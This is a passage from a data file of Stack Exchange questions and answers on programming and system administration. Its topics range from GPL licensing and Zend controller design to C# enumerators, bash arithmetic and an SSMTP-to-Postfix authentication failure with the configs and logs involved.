any check in the gon[0] == gon[2].Why no filter on length of gon? Pentagons aren't squares...gon is a poor name... do you mean polygon?I agree with holroy, -5 makes sense, but 0 does not.So I would do:for shape in tgons: if shape[0] == shape[2] > 0 and shape[1] == shape[3] > 0 and len(shape) == 4: if shape[0] == shape[1]: squares += 1 else: rects += 1 else: neithers += 1This can also be changed to allow all 2D rects/squares. (not lines.)if shape[0] == shape[2] != 0 and shape[1] == shape[3] != 0 and len(shape) == 4:Also follow PEP8 a bit more, as then you'll have easier to read code.You mostly need more spaces:Before and after infix operators.After but not before commas." } { "id": "_unix.152961" , "question": "I set my displays to sleep with xset dpms force off after locking the screen with kscreenlock. This is great, the displays wake up when the mouse is moved (by me, air, the cat). I'd like to set it in a way that only the keyboards can wake up the screens again.Is there some way to do this for the KDE screen locker or in general?" , "title": "Prevent the mouse to wake up display" , "tags": "kde;input;screen lock" } { "id": "_unix.353662" , "question": "Is it possible to make a USB port on one machine think that it is on another? I need to remotely access a machine on another network with mouse and kb, video not needed. KVM switch wont work on this application as remote access cant be enabled on any machines." , "title": "Remote USB ports" , "tags": "usb" } { "id": "_softwareengineering.221558" , "question": "I want to really opensource a project that did start as a personal hobby, but I'm an ignorant of licensing details.This project, provides some libraries for a given $language, and some wrapper command line utilities for those libraries.Those libraries, across many things, do generate more code in the same language, code which can be reused by the caller.On my drafts, I always used a MIT style license for the sake of brevity, but it's unreleased copies I'm reviewing right now to merge on a finally released version.I would like to use GPL style policies for usage/contribution of my code (lets call it a framework).But.Could choosing GPLv2 (3?) for my project, limit the things that a given user can do with the code generated or managed by my libraries/utilities? (i.e. commercial profit of such generated code without release her improvements/changes to my code)Is there something to consider (in a plain language) when licensing code that generates code ?Update:To try to answer some comments:What do you wish to accomplish with your license?The best goals for the project health (from the view point of a community-based opensource project).Who do you want to use your code?AnybodyWhat do you want to happen to changes?To be back-ported to the project as much as possible.What do you want to happen to generated code?To don't be affected by my licensing choice. It belongs to the user who generated it.What about money - if the user makes money do you want that to affect the licensing?If the user makes money from the generated code, great. If the user makes money modifying my code, I would like to force to publish the changes.I did a group-therapy with those answers. Now, choosing GPL (2? 3?) I could be ok or not?Update2So they have to bundle/compile your library in with theirs when they deploy it, in order for it to run? yes, the library needs to be installed previously, or bundled with the result (there is an option for this)." , "title": "Licensing libraries (which do code generation, etc) and GPL boundaries" , "tags": "licensing;gpl" , "accepted_answer": "The main thing to consider when choosing the license for a code generator is how much of the code generator itself will wind up in its output. With most (all?) compilers, this is such a small portion that the compiler's license is not considered to apply to the compiler's output. This makes it possible to use GPL-licensed compilers to write closed-source software, because the end-product is not considered to be derived from the compiler's source.On the other hand, there are also tools like Bison, where a significant portion of the tool makes it into the output. As Bison is licensed with the GPL, this would normally mean that and software you generate with Bison would also be covered by the GPL, were it not that the Bison license has a special clause to allow its output to be used in (a limited set of) closed source projects.As you do not wish to restrict the uses of the generated code, but you do want modifications to the generator and libraries to be made public, your best choice seems to to use LGPL or a permissive license for the libraries (provided they can be linked dynamically to the user's project) and GPL (optionally with a Bison-like exception) or a permissive license for the code generator." } { "id": "_unix.155281" , "question": "Suppose I mounted a disk in this way:mount /dev/sdb /mnt/tmpI have some files opened on this filesystem and don't want to unmount it. However I want to temporarily extract the device, then reattach it later. I want all reads and writes to this filesystem to be performed in cache only or be hung until I reattach the device.If I thought about temporarily detaching in advance, I would have used the device mapper:# ls -lh /dev/sdbbrw-rw---- 1 root floppy 8, 16 Sep 12 17:38 /dev/sdb# blockdev --getsize /dev/sdb2211840# dmsetup create sdb_detachable --table '0 2211840 linear 8:16 0'# mount /dev/mapper/sdb_detachable /mnt/tmp(start working with the filesystem)(suddenly need to detach the device)# dmsetup suspend sdb_detachable# dmsetup load sdb_detachable --table '0 2211840 error'# blockdev --flushbufs /dev/sdb(eject the device)(maybe even use the cached part of the filesystem)(reattach the device, now it appears as /dev/sdc)# ls -lh /dev/sdc && blockdev --getsize /dev/sdcbrw-rw---- 1 root floppy 8, 32 Sep 12 17:51 /dev/sdc2211840# dmsetup load sdb_detachable --table '0 2211840 linear 8:32 0'# dmsetup resume sdb_detachable(filesystem is usable again)(finished using it, now need to clean up)# umount /mnt/tmp/# dmsetup remove sdb_detachable# eject /dev/sdcHow can this be accomplished if the device is mounted directly? Can I steal it into the device mapper?" , "title": "How do I temporarily extract a flash drive or HDD in Linux?" , "tags": "linux;usb drive;external hdd;device mapper;vfs" } { "id": "_webapps.72794" , "question": "I'm trying to clean up some old Google Sheets, but some of them don't have a move to bin menu option:Other spreadsheets do have it:What's the difference? How can I delete spreadsheets that don't have the menu item? My current work around is to use the Google Drive desktop integration, and delete them there..." , "title": "Why is there sometimes no Move to trash/Move to bin" , "tags": "google spreadsheets;google drive" } { "id": "_codereview.51083" , "question": "I read many times about controller code mustn't be too complicated and so on. I was developing new features in my simple project. I added a function, which allow users to get access to news only in one specified category. Now, if a user writes some of this URL:/news/common/news/sport/news/financeonly news from specified category would be shown.I was thinking about how to do this through another actions, but realized that I can do it in index action. I need just to check if user entered category, but not id (id can contain only digits), which I've done.Controller:public function indexAction() { $objectManager = $this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager'); $options = array(); $categoryUrl = (string)$this->params('category'); if($categoryUrl) { // add category to the 'where' $category = $objectManager ->getRepository('\\News\\Entity\\Category') ->findOneByUrl($categoryUrl); if(!$category) { return $this->redirect()->toRoute('news'); } $options['category'] = $category->getId(); $categoryName = $category->getName(); } $news = $objectManager ->getRepository('\\News\\Entity\\Item') ->findBy($options, array('created'=>'DESC')); $items = array(); foreach ($news as $item) { $buffer = $item->getArrayCopy(); $buffer['category'] = $item->getCategory()->getName(); $buffer['user'] = $item->getUser()->getDisplayName(); $items[] = $buffer; } $view = new ViewModel(array( 'news' => $items, 'categoryName' => $categoryName, )); return $view;}What I am doing here? receive category from URLif category specified I add clause to the $options array and set $categoryName as category nameif category is not specified I don't do anything with $options (so it will be blank after this part) and don't set flag (so it is not set, undefined)get news items (function pass $options array)return $categoryName and news array to the viewView:<? if($categoryName) { $title = $categoryName; } else { $title = News list; } $this->headTitle($title); ?>// html code, some conditions etcThere is an if condition. If $categoryName is specified, $title will have the same contents as $categoryName. If $categoryName is not specified, $title will be just News list.QuestionsIs this the correct approach at all? Should I create new actions and handle this case in it?Is it correct to set flags, as I did, send to the view, handle it etc?Is my controller fat now? How can I improve this code?In addition, you can find the full code of files on GitHub:NewsController.php (controller)index.phtml (view)Note: Some words in files are in Russian." , "title": "Does my controller code look good?" , "tags": "php;zend framework" , "accepted_answer": "On the surface the code in your question seems fine, but I can tell you from experience that once this door is cracked just a bit, it will continue to creak open wider over time.I'm just checking if we have an ID or category name.This just adds a few meta tags.It's already 200 lines; 50 more won't matter.The linked controller, however, is doing way too much work. It should be passing data off to a model class (not the entity manager directly), placing whatever the view needs into the ViewModel, and that's it. Controllers are glue code. As you have it, you'll need to copy all of this code and modify it slightly to expose the CRUD interface in another form.For the code you posted, I would prefer to separate the actions so each handles one specific use case: all items, items matching a category, and one item (not in the code but you mentioned it). Create a regex route for the last two. The beauty of this is that you don't need to do all the conditional checks--the dispatcher does it for you.// see miscellaneous tips belowpublic function init() { $this->objectManager = $this->getServiceLocator() ->get('Doctrine\\ORM\\EntityManager');}public function allAction() { return new ViewModel(array( 'news' => $this->loadItems(), 'categoryName' => null, ));}public function categoryAction() { $category = $this->objectManager ->getRepository('\\News\\Entity\\Category') ->findOneByUrl((string) $this->params('category')); if (!$category) { return $this->redirect()->toRoute('news'); } return new ViewModel(array( 'news' => $this->loadItems(array('category' => $category->getId())), 'categoryName' => $categoryName, ));}private function loadItems($options = array()) { $news = $this->objectManager ->getRepository('\\News\\Entity\\Item') ->findBy($options, array('created' => 'DESC')); $items = array(); foreach ($news as $item) { $buffer = $item->getArrayCopy(); $buffer['category'] = $item->getCategory()->getName(); $buffer['user'] = $item->getUser()->getDisplayName(); $items[] = $buffer; } return $items;}This is about the same length of the original, but it's far less complicated. Each action is easy to follow and clearly lays out what it requires.MiscellaneousAnd here are a few tips after looking at your linked controller and view code:You are accessing the entity manager in every action (sometimes pulling it from the registry twice in the same method). Do this once by storing it in an instance property in init.The index and list actions are nearly identical. Refactor these to extract the common code into a new private method. It looks like this applies to some of the other actions, e.g., converting a news item into an array for the view with its associated category and user names.You can simplify the title-setting with the Elvis operator: $title = categoryName ?: .Every page should have an H1--even the all news index page.An non-empty array is truthy in PHP. if(count($this->news) != 0): can be shortened to if($this->news):. If you want to be explicit, at least use if(!empty($this->news)):.If $this->news will be an empty array instead of null or false when there are no items, you don't even need the if since looping over an empty array is a no-op.You don't need the ; in <?=...?> since it's an expression instead of a statement. You also don't need it for one-line statements in <?php ... ?>, but we still use it to avoid bugs when someone adds a line." } { "id": "_cs.41873" , "question": "I'm reading through Pushdown Control-Flow Analysis of Higher-Order Programs, which presents a synthesis of the Abstracting Abstract Machines technique and pushdown automata to get static analysis which perfectly matches call and return sites. The paper presents a monovariant and two polyvariant forms of the system.I can't seem to get my head around what additional expressive power polyvariance (e.g. 1CFA) grants when return-flow merging is already eliminated in the monovariant case by the pushdown methods.Could someone provide an example program in which polyvariance helps?" , "title": "What additional expressivity does polyvariance give in pushdown CFA?" , "tags": "programming languages;pushdown automata;functional programming" , "accepted_answer": "After playing with an implementation (found here), I believe I've figured it out.Although 0PDCFA technically entirely eliminates return-flow merging, this isn't a very strong result in the absence of any polyvariance: if the same function is called in two different contexts, the analysis must end up merging flows within the body of the function, since multiple values are bound to the same variable and the variable's abstract address is identified with its name. 1PDCFA provides a different set of addresses to each syntactically distinct call of each function (I might be either under- or over-selling here), eliminating much of the merging." } { "id": "_unix.58319" , "question": "Now I'm on the oh-my-zsh, but I'm not sure that it is perfect choice. What is the key difference between grml zsh config (github repo) and oh-my-zsh config? In which case should I prefer grml or oh-my-zsh?" , "title": "What is the key difference between grml zsh config and oh-my-zsh config" , "tags": "zsh;oh my zsh;grml" , "accepted_answer": "I am unable to give a detailed report of their differences but I can at least give a broad overview that may help to answer some basic questions and lead you to places where you can learn more.oh-my-zsh:Built-in plugin/theme systemAuto updater for core, plugins, and themesDefault behavior easily overridden or extendedWidely popular (which means an active community)grml-zsh:Very well documentedProvides many useful built-in aliases and functions (pdf)Default behavior overridden or extended with .zshrc.pre and .zshrc.local filesActively developed but not as popular as oh-my-zshBasically, the most apparent differences between the two are oh-my-zsh's plugin/theme system and auto-updater. However, these features can be added to grml-zsh with the use of antigen, which is a plugin manager for zsh inspired by oh-my-zsh.Antigen allows you to define which plugins and theme you wish to use and then downloads and includes them for you automatically. Ironically, though, most of the plugins and themes are pulled from oh-my-zsh's library which means in order for them to work antigen must first load the oh-my-zsh core. So, that approach leads to more or less recreating oh-my-zsh in a roundabout way. However, if you prefer grml's configuration to oh-my-zsh's then this is a valid option.Bottom line, I believe you just need to try both and see which one works best for you. You can switch back and forth by creating the following files: oh-my-zsh.zshrc (default file installed by oh-my-zsh), grml.zshrc (default grml zshrc), .zshrc.pre, and .zshrc.local.Then if you want to use oh-my-zsh:$ ln -s ~/oh-my-zsh.zshrc ~/.zshrcOr, if you want to use grml:$ ls -s ~/grml.zshrc ~/.zshrcIf you don't want to duplicate your customizations (meaning adding files to the custom directory for oh-my-zsh and modifying the pre and local files for grml), one option is to add your customizations to .zshrc.pre and .zshrc.local and then source them at the bottom of your oh-my-zsh.zshrc file like so:source $HOME/.zshrc.presource $HOME/.zshrc.localAlso, if you decide to use antigen you can add it to your .zshrc.local file and then throw a conditional around it to make sure that oh-my-zsh doesn't run it, like so:# if not using oh-my-zsh, then load plugins with antigen# <https://github.com/zsh-users/antigen.git>if [[ -z $ZSH ]]; then source $HOME/.dotfiles/zsh/antigen/antigen.zsh antigen-lib antigen-bundle vi-mode antigen-bundle zsh-users/zsh-syntax-highlighting antigen-bundle zsh-users/zsh-history-substring-search antigen-theme blinks antigen-applyfi" } { "id": "_softwareengineering.250616" , "question": "I'm new to C# programming, I was experimenting with iterators concept in C#. Here, I'm trying to display all the terms in a list, for that I'm trying different ways to obtain the results. In the below code, I'm using two classes ListIterator and ImplementList. In the ListIterator class : I defined a HashSet and it uses IEnumerator to store the values. Here GetEnumerator() method returns the values in the list. GetEnumerator is implemented in the ImplementList class (other class). Finally, the list is displayed in the console. public class ListIterator{ public void DisplayList() { HashSet<int> myhashSet = new HashSet<int> { 30, 4, 27, 35, 96, 34}; IEnumerator<int> IE = myhashSet.GetEnumerator(); while (IE.MoveNext()) { int x = IE.Current; Console.Write({0} , x); } Console.WriteLine(); Console.ReadKey(); }}In the ImplementList class : GetEnumerator() is defined and it returns the list using yield return x. public class ImplementList : IList<int> { private List<int> Mylist = new List<int>(); public ImplementList() { } public void Add(int item) { Mylist.Add(item); } public IEnumerator<int> GetEnumerator() { foreach (int x in Mylist) yield return x; } }Now, I want to rewrite the GetEnumerator() without using yield return. And it should return all the values in a list. I tried using for loop as for(int x=0; x<Mylist.Count; x++), but it doesn't return all the values in the list. Is it possible to get all the values in the list without using yield return in IEnumerator" , "title": "Implementing IEnumerator without using 'yield return' in c#" , "tags": "c#;object oriented" , "accepted_answer": "MoveNext() is a method that is called over and over and every time it has to move to the next item. This means you can't implement it by simply using a for loop (unless you use yield return, which is pretty much the reason why yield return exists), you need to rewrite it so that each MoveNext() call executes just part of that loop.Specifically, it would look like this:class Enumerator : IEnumerator<int>{ private int i = -1; private ImplementList list; public Enumerator(ImplementList list) { this.list = list; } public bool MoveNext() { i++; return i < list.myList.Count; } public int Current { get { return list.myList[i]; } } object IEnumerator.Current { get { return Current; } } public void Dispose() {} public void Reset() { throw new NotSupportedException(); }}This way, every call to MoveNext() performs the i++ and i < list.Count parts of the for loop." } { "id": "_unix.319697" , "question": "Code #!/bin/bashstartTimes=$(seq 300 10 330)for startTime in ${startTimes[@]};do endTime=${startTime}+10 echo ${endTime} > /tmp/111test # Output literally: startTimes+10 doneecho Last endTime: ${endTime}Output with bash -x ...++ seq 300 10 330+ startTimes='300310320330'+ for startTime in '${startTimes[@]}'+ endTime=300+10+ echo 300+10+ for startTime in '${startTimes[@]}'+ endTime=310+10+ echo 310+10+ for startTime in '${startTimes[@]}'+ endTime=320+10+ echo 320+10+ for startTime in '${startTimes[@]}'+ endTime=330+10+ echo 330+10+ echo 'Last endTime: 330+10'Last endTime: 330+10Expected output310320330340OS: Debian 8.5Linux kernel: 4.6 backsports " , "title": "Why this Bash list expression and variable calling fails?" , "tags": "bash;array" , "accepted_answer": "don_crissti's answer in comments which points out two mistakes in the declaration of startTimes and in use of ${var[@]} which has to be used with seq outputstartTimes=( $(seq 300 10 330) )for startTime in ${startTimes[@]};do endTime=$(( ${startTime}+10 )) echo ${endTime} > /tmp/111test doneecho Last endTime: ${endTime}" } { "id": "_unix.337724" , "question": "I'm trying to send mail from server A running SSMTP via a server B running Postfix. The Postfix server is running just fine and has been in production for a while without any problems. It runs Postfix with Dovecot.I can use my Gmail account to send mail from SSMTP and that works however I want to use my own Postfix server because I want more control over the entire mail process.In the next logs and code I have replaced my own public domain with example.com.Here is the error that SSMTP produces:root@N40L:/etc/ssmtp# echo test | mailx -vvv -s test martin@example.com[<-] 220 h******.stratoserver.net ESMTP Postfix (Debian/GNU)[->] EHLO example.com[<-] 250 DSN[->] AUTH LOGIN[<-] 535 5.7.8 Error: authentication failed: Invalid authentication mechanismsend-mail: Server didn't like our AUTH LOGIN (535 5.7.8 Error: authentication failed: Invalid authentication mechanism)I'm running Debian 8 on both machines.Here is my ssmtp.conf:root=N40L@example.commailhub=example.com:465rewriteDomain=example.comhostname=example.comFromLineOverride=YESUseTLS=YESAuthUser=N40L@example.comAuthPass=correctpasswordI know SSMTP sometimes has trouble working with non-alphanumeric passwords so the password is a string of letters and numbers. I have verified it using Mutt and I'm certain it is the right password, the right username, the right port.Postfix main.cf:smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)biff = noappend_dot_mydomain = noreadme_directory = nosmtpd_tls_cert_file=/etc/letsencrypt/live/example.com/fullchain.pemsmtpd_tls_key_file=/etc/letsencrypt/live/example.com/privkey.pemsmtpd_use_tls=yessmtpd_tls_auth_only = yessmtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scachesmtp_tls_session_cache_database = btree:${data_directory}/smtp_scachesmtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destinationmyhostname = ********.stratoserver.netmyorigin = /etc/mailnamemydestination = localhost.stratoserver.net, localhostrelayhost =mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128mailbox_command = procmail -a $EXTENSIONmailbox_size_limit = 0recipient_delimiter = +inet_interfaces = allmessage_size_limit=20480000virtual_mailbox_domains = a.bunch.of names.here.and example.comvirtual_mailbox_base = /var/mail/vmailvirtual_mailbox_maps = mysql:/etc/postfix/mysql_virtual_mailbox_maps.cfvirtual_gid_maps = static:5000virtual_uid_maps = static:5000virtual_minimum_uid = 5000virtual_alias_maps = mysql:/etc/postfix/mysql_virtual_alias_maps.cfvirtual_transport = lmtp:unix:private/dovecot-lmtpsmtpd_sasl_auth_enable = yessmtpd_sasl_type = dovecotsmtpd_sasl_path = private/authcontent_filter = scan:127.0.0.1:10026receive_override_options = no_address_mappingsThe LetsEncrypt certs show the correct name and a host of phones, both Android and iPhone, as well as a number of different mail clients and its webmail are all satisfied with it. I am positive the certs are in order.master.cf, though I'm not sure it is relevant:smtp inet n - - - - smtpd -v -o content_filter=spamassassinsubmission inet n - - - - smtpd -o syslog_name=postfix/submission -o smtpd_tls_security_level=encrypt -o smtpd_sasl_auth_enable=yes -o smtpd_client_restrictions=permit_sasl_authenticated,reject -o smtpd_relay_restrictions=permit_sasl_authenticated,rejectsmtps inet n - - - - smtpd -o syslog_name=postfix/smtps -o smtpd_tls_wrappermode=yes -o smtpd_sasl_auth_enable=yespickup unix n - - 60 1 pickupcleanup unix n - - - 0 cleanupqmgr unix n - n 300 1 qmgrtlsmgr unix - - - 1000? 1 tlsmgrrewrite unix - - - - - trivial-rewritebounce unix - - - - 0 bouncedefer unix - - - - 0 bouncetrace unix - - - - 0 bounceverify unix - - - - 1 verifyflush unix n - - 1000? 0 flushproxymap unix - - n - - proxymapproxywrite unix - - n - 1 proxymapsmtp unix - - - - - smtprelay unix - - - - - smtpshowq unix n - - - - showqerror unix - - - - - errorretry unix - - - - - errordiscard unix - - - - - discardlocal unix - n n - - localvirtual unix - n n - - virtuallmtp unix - - - - - lmtpanvil unix - - - - 1 anvilscache unix - - - - 1 scachemaildrop unix - n n - - pipe flags=DRhu user=vmail argv=/usr/bin/maildrop -d ${recipient}uucp unix - n n - - pipe flags=Fqhu user=uucp argv=uux -r -n -z -a$sender - $nexthop!rmail ($recipient)ifmail unix - n n - - pipe flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient)bsmtp unix - n n - - pipe flags=Fq. user=bsmtp argv=/usr/lib/bsmtp/bsmtp -t$nexthop -f$sender $recipientscalemail-backend unix - n n - 2 pipe flags=R user=scalemail argv=/usr/lib/scalemail/bin/scalemail-store ${nexthop} ${user} ${extension}mailman unix - n n - - pipe flags=FR user=list argv=/usr/lib/mailman/bin/postfix-to-mailman.py ${nexthop} ${user}spamassassin unix - n n - - pipe user=spamd argv=/usr/bin/spamc -f -e /usr/sbin/sendmail -oi -f ${sender} ${recipient}scan unix - - n - 16 smtp -o smtp_send_xforward_command=yes127.0.0.1:10025 inet n - n - 16 smtpd -o content_filter= -o receive_override_options=no_unknown_recipient_checks,no_header_body_checks -o smtpd_helo_restrictions= -o smtpd_client_restrictions= -o smtpd_sender_restrictions= -o smtpd_recipient_restrictions=permit_mynetworks,reject -o mynetworks_style=host -o smtpd_authorized_xforward_hosts=127.0.0.0/8Relevant config parts in Dovecot:# 2.2.13: /etc/dovecot/dovecot.confauth_debug = yesauth_debug_passwords = yesauth_verbose = yesmail_debug = yesmail_plugins = quotamail_privileged_group = vmailmanagesieve_notify_capability = mailto}passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql}protocols = imap lmtp sieveservice auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix }}service imap-login { inet_listener imaps { port = 993 ssl = yes }}service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0666 user = postfix }}ssl = requiredssl_cert = </etc/letsencrypt/live/example.com/fullchain.pemssl_key = </etc/letsencrypt//live/example.com/privkey.pemuserdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql}verbose_ssl = yesprotocol lmtp { mail_plugins = quota sieve postmaster_address = me@example.com}If I try to send mail from server A and it generates aforementioned error server B log this in /var/mail/mail.log:Jan 16 10:29:54 postfix/smtps/smtpd[13601]: warning: dict_nis_init: NIS domain name not set - NIS lookups disabledJan 16 10:29:54 postfix/smtps/smtpd[13601]: connect from ******.upc-h.chello.nl[62.194.***.***]Jan 16 10:29:54 dovecot: auth: Debug: auth client connected (pid=0)Jan 16 10:29:54 postfix/smtps/smtpd[13601]: warning: ******.upc-h.chello.nl[62.194.***.***]: SASL LOGIN authentication failed: Invalid authentication mechanismJan 16 10:29:54 postfix/smtps/smtpd[13601]: lost connection after AUTH from ******.upc-h.chello.nl[62.194.***.***]Jan 16 10:29:54 postfix/smtps/smtpd[13601]: disconnect from ******.upc-h.chello.nl[62.194.***.***]Same if I add AuthMechanism=LOGIN or AuthMechanism=CRAM-MD5 (which according to SSMTP's man page are the only mechanisms available) to ssmtp.conf so I removed that again.Because the internet is very insistant on using Gmail with SSMTP I tried to humor it for a bit and tried UseSTARTTLS. This then happens on server A:send-mail: Cannot open example.com:465Can't send mail: sendmail process failed with error code 1...and this is logged on server B:Jan 16 10:46:01 postfix/smtps/smtpd[14047]: warning: dict_nis_init: NIS domain name not set - NIS lookups disabledJan 16 10:46:01 postfix/smtps/smtpd[14047]: connect from ******.upc-h.chello.nl[62.194.***.***]Jan 16 10:46:12 dovecot: imap-login: Debug: SSL: elliptic curve secp384r1 will be used for ECDH and ECDHE key exchangesJan 16 10:46:12 dovecot: imap-login: Debug: SSL: elliptic curve secp384r1 will be used for ECDH and ECDHE key exchangesJan 16 10:46:12 dovecot: auth: Debug: auth client connected (pid=14049)Jan 16 10:46:12 dovecot: auth: Debug: client in: AUTH#0111#011PLAIN#011service=imap#011secured#011session=***************AAAAAAAAAAB#011lip=::1#011rip=::1#011lport=143#011rport=60112#011resp=AG40MGxAd*****************QzE3MDE= (previous base64 data may contain sensitive data)Jan 16 10:46:12 dovecot: auth-worker(14017): Debug: sql(n40l@example.com,::1): query: SELECT email as username, pwd AS password FROM addresses WHERE email = 'n40l@example.com'Jan 16 10:46:12 dovecot: auth: Debug: client passdb out: OK#0111#011user=n40l@example.comJan 16 10:46:12 dovecot: auth: Debug: master in: REQUEST#011154140673#01114049#0111#0114d206d2a85468af9af75b8538aab7485#011session_pid=14050#011request_auth_tokenJan 16 10:46:12 dovecot: auth-worker(14017): Debug: sql(n40l@example.com,::1): SELECT 5000 AS uid, 5000 as gid, email, '/var/mail/vmail/example.com/n40l' AS home FROM addresses WHERE email = 'n40l@example.com'Jan 16 10:46:12 dovecot: auth: Debug: master userdb out: USER#011154140673#011n40l@example.com#011uid=5000#011gid=5000#011email=n40l@example.com#011home=/var/mail/vmail/example.com/n40l#011auth_token=ff5b12*****************aedf315ac08eJan 16 10:46:12 dovecot: imap-login: Login: user=<n40l@example.com>, method=PLAIN, rip=::1, lip=::1, mpid=14050, secured, session=<0pDTDTNG0AAAAAAAAAAAAAAAAAAAAAAB>Jan 16 10:46:12 dovecot: imap: Debug: Loading modules from directory: /usr/lib/dovecot/modulesJan 16 10:46:12 dovecot: imap: Debug: Module loaded: /usr/lib/dovecot/modules/lib10_quota_plugin.soJan 16 10:46:12 dovecot: imap: Debug: Module loaded: /usr/lib/dovecot/modules/lib11_imap_quota_plugin.soJan 16 10:46:12 dovecot: imap: Debug: Added userdb setting: plugin/email=n40l@example.comJan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Effective uid=5000, gid=5000, home=/var/mail/vmail/example.com/n40lJan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Quota root: name=User quota backend=maildir args=Jan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Quota rule: root=User quota mailbox=* bytes=10737418240 messages=0Jan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Quota rule: root=User quota mailbox=Trash bytes=+104857600 messages=0Jan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Quota grace: root=User quota bytes=536870912 (5%)Jan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: Namespace inbox: type=private, prefix=, sep=, inbox=yes, hidden=no, list=yes, subscriptions=yes location=maildir:/var/mail/vmail/example.com/n40lJan 16 10:46:12 dovecot: imap(n40l@example.com): Debug: maildir++: root=/var/mail/vmail/example.com/n40l, index=, indexpvt=, control=, inbox=/var/mail/vmail/example.com/n40l, alt=Jan 16 10:46:12 dovecot: imap(n40l@example.com): Disconnected: Logged out in=50 out=475I can log into server B's webmail without any trouble and send and receive mail for the address I'm using so the account itself is in order. I tried other accounts and they produce the same errors.I'm at a loss. SSMTP should be able to send mail through Postfix. Even with all debug and verbosity options on, I can't find the source of the problem. Any help is greatly appreciated." , "title": "Auth error when sending mail through Postfix with SSMTP" , "tags": "postfix;sendmail;mailx;ssmtp" } { "id": "_unix.165754" , "question": "If there is a partition, ex.: /dev/sdb1Then how can I increase the partition (with fdisk?), if it was 10 GByte before, and there are still place to increase the partition with another 10 GByte, so sum: how can I increase the partition's size from 10 GByte to 20 GByte? Without data loss! - so re-creating the partition is not a solution. UPDATE: thought there will be a command to modify the partitions end to a new end, so yes, re-creating the partition is OK! :) the main thing is that data on the partition should stay untouched, without any copy here, than copy it back thing. :)" , "title": "Increase a partition without data loss" , "tags": "fdisk;sles" } { "id": "_softwareengineering.238154" , "question": "I'm just starting to learn about DDD, and I'm trying to understand how Bounded Contexts can be reconciled with client facing API's like REST/WebServices that use DTO's.For example: your system exposes it's API to the public with a standard WebService, with CRUD style operations for DTO objects with many fields defined via a WSDL. You create a Bounded Context to handle your Domain's business logic, using a non-anemic domain model - so that your domain objects don't simply have a bunch of setters and getters - instead they have methods defined using vocabulary from your ubiqitious language. How would one reconcile the difference between their web service DTO and the Bounded Context? It seems to me this could add a huge amount of complexity, and I'm wondering if there are some well defined ways to solve this." , "title": "DDD: How to reconcile a BoundedContext with REST/WebService DTO's?" , "tags": "architecture;domain driven design;enterprise architecture" , "accepted_answer": "The domain model is exposing commands and queries that can be used by the application. So the application (more specifically, the anti-corruption component) is responsible for taking the DTOs and re-expressing them in a form that the domain understands.If you are building your application from the domain model out, this is really straight forward: your DTOs just become representations of the commands themselves, and the api becomes a series of endpoints that handle those commands on behalf of the remote client. And the ubiquitous language ripples OUT from the domain model all the way to the clients.Trying to work inwards toward the domain model, from an api that exposes all changes as a CRUD operation... yeah, that's going to suck all the way. Essentially, you end up writing an anti corruption layer that reviews the proposed change, and tries to deduce from it the intent of the operation in the client. Bad news.The good news: if you are following Greg Young's recommendations on when to use DDD (ie: in the parts of your business where you have a competitive advantage), then there's a huge amount of leverage -- the value of improving the process may be high enough to offset the cost of deprecating the CRUD api.Horses for courses." } { "id": "_opensource.5504" , "question": "Our application currently has a licence which is not compatible with AGPL. We need to use a library licensed under AGPL (currently the best one for the job and the client would like us to use it).We thought about creating a web service using this library and we would license it under AGPL. Our application would directly depend on it to function properly. We wanted to create two svn repositories, one for the main project and one for the web service AGPL. To install our application, one would need to retrieve the code from both repositories, compile and run the applications.Does that count as a derivative work? Both source codes are open and publicly available. The main project needs to keep its license and cannot be licensed under AGPL.The web service can work as-is. One can just use it without the other project, it is just kind of useless since the web service validates metadata with rules only valid for the main project. The web service has default config files valid only for the main project but they can all be replaced by something completely unrelated. The main problem is that the web service contains default files which make me think that it is potentially a derivative work and if my main project uses this web service, it will be forced to be AGPL to be able to use the web service.Maybe that makes a different but the library AGPL is only used and not changed.Does anybody have an idea if I can use this AGPL web service and keep my license on the main project? If that's not the case, I will need to create another web service with a compatible license and keep the AGPL web service for internal use only." , "title": "Web service licensed under AGPL - distribution" , "tags": "derivative works;agpl 3.0" , "accepted_answer": "I assume a technical trick (like your web service idea) to avoid the intent of the license wouldn't work. But your assumption about compatibility is wrong.The EUPL (you stated in your answer that that is the licence your project is under) has statements of compatibility that work with the AGPL:EUPL v1.1 states compatibility to CeCILL v2.0, which states compatibility to GPL v2 or later and GPL v3 states compatibility to AGPL v3.EUPL v1.2 states compatibility to AGPL v3.You only need to comply with both licenses, not change your projects license.If both EUPL and AGPL licensed code were distributed together a potential licensee may discard the AGPL code if they wish to only comply with the license of the rest of the code.You may not convert AGPL to EUPL, i.e. you are not allowed to distribute a combination and tell your licensee only about the EUPL. The EUPL states how to do the conversion to other licenses via the compatibility mentioned above. What I called conversion here is an additional step that you don't need to do." } { "id": "_cogsci.17755" , "question": "I understood that ethanol increases Golgi cell firing by inhibiting the Na+/K+ ATPase channels, which makes granule cells receive more GABAergic input from the GABA that Golgi cells relase.Some paragraph in this paper are not clear to me. It says that ethanol increased spontaneous firing frequency and depolarized the membrane potential in the perforated-patch configuration, but also that ethanol does not significantly affect firing frequency or membrane potential response to current injection.How does it work?" , "title": "How does alcohol increase firing rate in Golgi cells?" , "tags": "brain;alcohol" } { "id": "_webmaster.55947" , "question": "example.com is hosted on IP address c.c.c.c at host1, no access any windows server admin at allblog.example.com is on IP a.a.a.a at host2, full access to Linux server admin, using WordPressSo basically, I can fiddle with subdomain all I want.I can't 301 redirect because the content on host 1 is an eCommerce site that I have no server control over. Can't put WordPress on it, can't run scripts, can't do anything on the server period.Is there a method to mask all the URLs on root blog.example.com so they appear as example.com/blog/ folder?They can't actually be sent to 